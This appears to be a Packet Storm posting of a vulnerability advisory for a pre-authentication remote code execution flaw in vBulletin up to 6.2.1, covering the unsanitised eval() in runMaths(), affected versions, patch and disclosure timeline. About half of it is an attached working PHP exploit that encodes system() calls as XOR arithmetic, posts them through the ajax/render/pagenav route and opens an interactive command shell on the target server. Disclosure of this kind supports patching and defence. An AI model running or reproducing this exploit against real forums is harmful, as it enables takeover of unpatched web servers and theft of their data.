📄 vBulletin 6.2.1 Remote Code Execution

-----------------------------------------------------------------
    vBulletin <= 6.2.1 (runMaths) Remote Code Execution Vulnerability
    -----------------------------------------------------------------
    
    
    [-] Software Link:
    
    https://www.vbulletin.com
    
    
    [-] Affected Versions:
    
    Version 5.7.5 and prior 5.x versions.
    Version 6.2.1 and prior 6.x versions.
    
    
    [-] Vulnerability Description:
    
    The vulnerable code is located within the
    /includes/vb5/template/runtime.php script. Specifically, into the
    vB5_Template_Runtime::runMaths() method: the $str parameter is not
    sufficiently sanitized before being used in an eval() call. The regex used
    to validate the input parameter will filter the string only allowing for
    digits, parentheses, math and binary operators (the XOR, particularly). As
    such, this can be exploited to inject and execute (semi) arbitrary PHP code
    through "phpfuck" techniques. The vulnerability could be exploited by e.g.
    administrator users, by editing a template/style in the admin panel and
    adding a specially crafted {vb:math} tag (which is a sort of wrapper around
    the vB5_Template_Runtime::runMaths() method). However, this can also be
    exploited by unauthenticated attackers by abusing the
    ajax/render/[template] route, rendering a template which uses the {vb:math}
    tag with an user-tainted parameter. One of the possible templates that can
    be abused that way is the default "pagenav" template: here, user input
    passed through the "pagenav[pagenumber]" parameter will be assigned to the
    "pagenav.currentpage" template variable, which is later used within a
    {vb:math} tag, thus passed to the vB5_Template_Runtime::runMaths() method,
    which in turn will pass this string to eval(), eventually resulting in
    execution of (semi) arbitrary PHP code on the web server.
    
    
    [-] Proof of Concept:
    
    https://karmainsecurity.com/pocs/CVE-2026-61511.php
    
    
    [-] Solution:
    
    Apply the vendor patch or upgrade to version 6.2.2 or later.
    
    
    [-] Disclosure Timeline:
    
    [25/06/2026] - Vendor was notified by SSD Secure Disclosure
    [30/06/2026] - Vendor released security patch to address this issue:
    https://tinyurl.com/vb-patch
    [01/07/2026] - Vendor released version 6.2.2: https://tinyurl.com/vb-622
    [13/07/2026] - CVE identifier requested
    [13/07/2026] - CVE identifier assigned
    [27/07/2026] - Public disclosure
    
    
    [-] CVE Reference:
    
    CVE-2026-61511 has been assigned to this vulnerability.
    
    
    [-] Credits:
    
    Vulnerability discovered by Egidio Romano.
    
    
    [-] Original Advisory:
    
    https://karmainsecurity.com/KIS-2026-13
    
    
    [-] Other References:
    
    https://ssd-disclosure.com/vbulletin-runtime-template-runmaths-preauth-rce/
    
    
    --- packet storm attached poc ---
    <?php
    
    /*
        -----------------------------------------------------------------
        vBulletin <= 6.2.1 (runMaths) Remote Code Execution Vulnerability
        -----------------------------------------------------------------
        
        author..............: Egidio Romano aka EgiX
        mail................: n0b0d13s[at]gmail[dot]com
        software link.......: https://www.vbulletin.com
        
        +-------------------------------------------------------------------------+
        | This proof of concept code was written for educational purpose only.    |
        | Use it at your own risk. Author will be not responsible for any damage. |
        +-------------------------------------------------------------------------+
        
        [-] Original Advisory:
    
        https://karmainsecurity.com/KIS-2026-13
    */
    
    set_time_limit(0);
    error_reporting(E_ERROR);
    
    print "+---------------------------------------------------------------------+\n";
    print "| vBulletin <= 6.2.1 (runMaths) Remote Code Execution Exploit by EgiX |\n";
    print "+---------------------------------------------------------------------+\n";
    
    if (!extension_loaded("curl")) die("\n[+] cURL extension required!\n");
    
    if ($argc != 2)
    {
        print "\nUsage......: php $argv[0] <URL>\n";
        print "\nExample....: php $argv[0] http://localhost/vb/";
        print "\nExample....: php $argv[0] https://vbulletin.com/\n\n";
        die();
    }
    
    function encodeChar($char)
    {
        $numbers = ['0' => '(0)', '1' => '(1)', '2' => '(2)', '3' => '(3)', '4' => '(4)', '5' => '(5)', '6' => '(6)', '7' => '(7)', '8' => '(8)', '9' => '(9)'];
        
        $char = strval(ord($char));
    
        for ($i = 0; $i < strlen($char); $i++) $ret .= $numbers[$char[$i]] . '.';
    
        return rtrim($ret, '.');
    }
    
    function makePayload($function, $param)
    {
        $chr_fun = '((((999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999).(9))^((2).(0).(4)))^((8).(6).(((9).(9))^((9).(9)))))';
        
        foreach (str_split($function) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';
        
        $ret = "(" . rtrim($ret, '.') . ')((';
        
        foreach (str_split($param) as $c) $ret .= $chr_fun . '(' . encodeChar($c) . ').';
    
        return rtrim($ret, '.') . '))';
    }
    
    $curl   = curl_init();
    $params = ["routestring" => "ajax/render/pagenav"];
    
    curl_setopt($curl, CURLOPT_URL, $argv[1]);
    curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, false);
    //curl_setopt($curl, CURLOPT_PROXY, "http://127.0.0.1:8080");
    
    while(1)
    {
        print "\nvb-shell# ";
        if (($cmd = trim(fgets(STDIN))) == "exit") break;
        $cmd .= "; echo _____";
        $params["pagenav[pagenumber]"] = makePayload("system", $cmd);
        curl_setopt($curl, CURLOPT_POSTFIELDS, http_build_query($params));
        preg_match('/_____(.*)_____/s', curl_exec($curl), $m) ? print $m[1] : die("\n[+] Exploit failed!\n\n");
    }